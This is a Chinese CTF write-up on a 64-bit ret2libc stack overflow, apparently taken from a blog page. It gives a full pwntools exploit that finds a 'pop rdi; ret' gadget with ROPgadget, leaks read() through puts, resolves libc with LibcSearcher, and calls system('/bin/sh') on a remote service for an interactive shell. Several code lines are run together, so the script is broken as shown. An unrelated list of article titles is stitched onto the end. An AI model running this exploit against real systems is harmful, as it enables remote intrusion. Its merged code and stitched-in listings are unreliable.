ROP,需要通过puts函数泄露read函数地址,ROP时用puts函数的地址覆盖返回地址,用read函数的GOT表地址作为puts的参数传入。但是64位程序的函数传参是通过寄存器+堆栈的方式,因此无法直接通过栈溢出写入参数。解决方法是:在程序中寻找一处pop %rdi的指令,将数据写入rdi寄存器。
在程序中寻找pop %rdi需要一个叫ROPgadget的工具。
Linux指令:
ROPgadget --binary pwn | grep "pop rdi"

查到在程序的0x400763地址处存在一个pop rdi ; ret的指令。
可以先将rsp所指的那8个字节pop到rdi寄存器,然后再执行一个ret指令,正合我们的需求。

关于LibcSearcher的用法:
这个库最好在Linux下用,Windows下会出一些问题
用已泄露的函数地址,如read_addr去匹配即可
libc = LibcSearcher("read", read_addr) # 获取libc对象
libc.dump("read")可以获取read在对应libc中的偏移
甚至还能直接获取libc中的\bin\sh:
# 直接获取/bin/sh地址
binsh_addr = libc.dump("str_bin_sh") + libc_base

完整代码:

# -*- coding: utf-8
from pwn import *
from LibcSearcher import *
elf = ELF("pwn")
puts_addr = elf.sym['puts']
read_got = elf.got['read']
poprdi_addr = 0x400763  # 在这个地方有指令:pop rdi; ret
main_addr = 0x4006B8payload1 = "a" * 0x40  # rubbish
payload1 += p64(0)  # old rbp
payload1 += p64(poprdi_addr)  # 第一次返回到pop rdi的地方
payload1 += p64(read_got)  # 这是puts的参数
payload1 += p64(puts_addr)
payload1 += p64(main_addr) # puts函数的返回地址,重新进入main函数
payload1 += "b" * (200 - len(payload1))io = remote("111.200.241.244", 55160)
io.send(payload1)
io.recvline()
read_addr = io.recvline().split("\n")[0]
print(len(read_addr))
for i in range(len(read_addr), 8):read_addr += '\x00'  # 补足8字节
read_addr = u64(read_addr)
print(hex(read_addr))# 用LibcSearcher查询函数,只需要传入已经泄露的地址即可自动匹配
libc = LibcSearcher("read", read_addr) # 获取libc对象
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")# 直接获取/bin/sh地址
binsh_addr = libc.dump("str_bin_sh") + libc_base# 第二次需要调用system(binsh_addr)
payload2 = "a" * 0x40  # rubbish
payload2 += p64(0)  # old rbp
payload2 += p64(poprdi_addr)  # 第一次返回到pop rdi的地方
payload2 += p64(binsh_addr)  # 这是system的参数
payload2 += p64(system_addr)
payload2 += p64(main_addr)  # system函数的返回地址,重新进入main函数
payload2 += "b" * (200 - len(payload2))
io.send(payload2)
io.interactive()

64位传参利用方法LibcSearcher使用入门ROPgadget利用相关推荐

  1. CATIA V5 R19 WIN7 64位系统的安装方法

    CATIA V5 R19 WIN7 64位系统的安装方法 本文主要记录了根据参考文档安装Catia V5 R9的过程. 参考文档:CATIA V5 R19 WIN7 64位系统的安装方法 所需组件 表 ...

  2. 通过URL在前端页面传参的方法

    通过URL在前端页面传参的方法 整个过程实例 在HTML页面a.html中:参数写入URL function detail(goods_id){window.location.href="h ...

  3. Vue--Router--路由传参的方法

    原文网址:Vue--Router--路由传参的方法_IT利刃出鞘的博客-CSDN博客 简介 说明 本文介绍Vue Router路由传参的方式. router-link标签和this.$router.p ...

  4. 计算机是否支持64位操作系统,教你查看自己的电脑是否支持64位win7系统的方法...

    问:我想要安装windows7的64位系统,但是听说有的电脑并不能装64位系统,不知道自己的电脑是否支持64位win7系统,能不能告诉我要如何查看自己的电脑是否支持64位win7系统呢? 答:如果电脑 ...

  5. 在win10中开启64位ie浏览器的方法(IE11)

    ** 在64位win10中开启64位ie浏览器的方法(IE11) 步骤一 打开ie浏览器,设置->Internet选项->高级,找到,启用增强保护模式 和 针对增强保护模式启用64位进程, ...

  6. 微信小程序 组件与页面的传参、方法调用(二)

    微信小程序 组件与页面的传参.方法调用 使用小程序组件时经常不会只用到静态页面显示,需要一定的交互.这时候就需要知道这么传参与方法调用的了 首先先放官方的文档,介绍的还是比较清楚详细,有能力的同学请直 ...

  7. c语言通过什么传递参数 寄存器,关于使用寄存器传参解决方法

    关于使用寄存器传参 在使用64位系统编程时,发现一个问题,麻烦大家帮忙看看,谢谢啦!!! C语言代码如下: void swap(int *a, int *b) { int c; c = *a; *a  ...

  8. Vue-路由传参的方法与区别

    路由传参 1. 通过路由属性中的name来确定匹配的路由,通过params来传递参数 父组件 this.$router.push传递参数 //html <button @click=" ...

  9. plsql与64位的Oracle关联方法

    在这里吐槽一下,plsql居然木有64位的,以前居然不知道,好久没用Oracle了,想练习一下,方法如下: 1.安装Oracle,官网都有,这里不细说了,我选的是64的Oracle安装的. 2.下载p ...

最新文章

  1. Jdom makes xml easy
  2. linux查看进程相关命令
  3. STC89C52RC单片机例程实现_流水灯1_模块化(C语言实现)
  4. 指针和引用的区别和联系
  5. mysql 控制id复原_清空mysql表后,自增id复原
  6. 信息学奥赛一本通(1233:接水问题)
  7. 3D Segmentation with Exponential LogarithmicLoss for Highly Unbalanced Object Sizes-MICCAI2018【论文理解】
  8. 6.Swoole WebSocket
  9. Domino 邮箱服务器接收不存在的邮箱账号的邮件
  10. k2路由器linux系统,【路由器】斐讯K1/K2刷专版潘多拉固件以及教程
  11. c3p0数据库连接池使用步骤c3p0配置报错处理
  12. OpenJudge NOI题库 入门 116题 (三)
  13. SyncToy -- 微软同步工具
  14. GitChat 使用指南,快速学习、飞速成长
  15. VSCode搭建STM32开发环境(极简自我搭建懒人直接使用插件)
  16. 网页配色方案及方法[网上配色文章集合
  17. 24点游戏开发实例(Qt含源码)
  18. 《C Primer Plus第六版》第六章复习题目和编程练习题的答案
  19. 2021年计算机类 人工智能 软件SCI一区期刊
  20. 4张图搞懂Salesforce的认证体系(附新手考证攻略)

热门文章

  1. 数据中心行业在能源转型中将发挥重要作用
  2. 数据中心外包面临法律考验
  3. eigrp配置实验_路由器 OSPF 动态路由配置
  4. 成功解决_catboost.CatBoostError: Bad value for num_feature: Cannot convert ‘b‘\x8f\x91‘‘ to float
  5. 成功解决⑧NVIDIA安装程序无法继续 此NVIDL驱动程序与此Windows版本不兼容。 此图形驱动程序无法找到兼吝的图形硬件。
  6. Matlab:成功解决 Inner matrix dimension must agree
  7. Dataset之OttoGroup:OttoGroup数据集的简介、下载、案例应用之详细攻略
  8. AI公开课:19.03.13沈徽-商汤副总裁《AI创新与落地》课堂笔记以及个人感悟
  9. Crawler:关于爬虫的简介、安装、使用方法之详细攻略
  10. No PIL installation found INFO:superset.utils.screenshots:No PIL installation found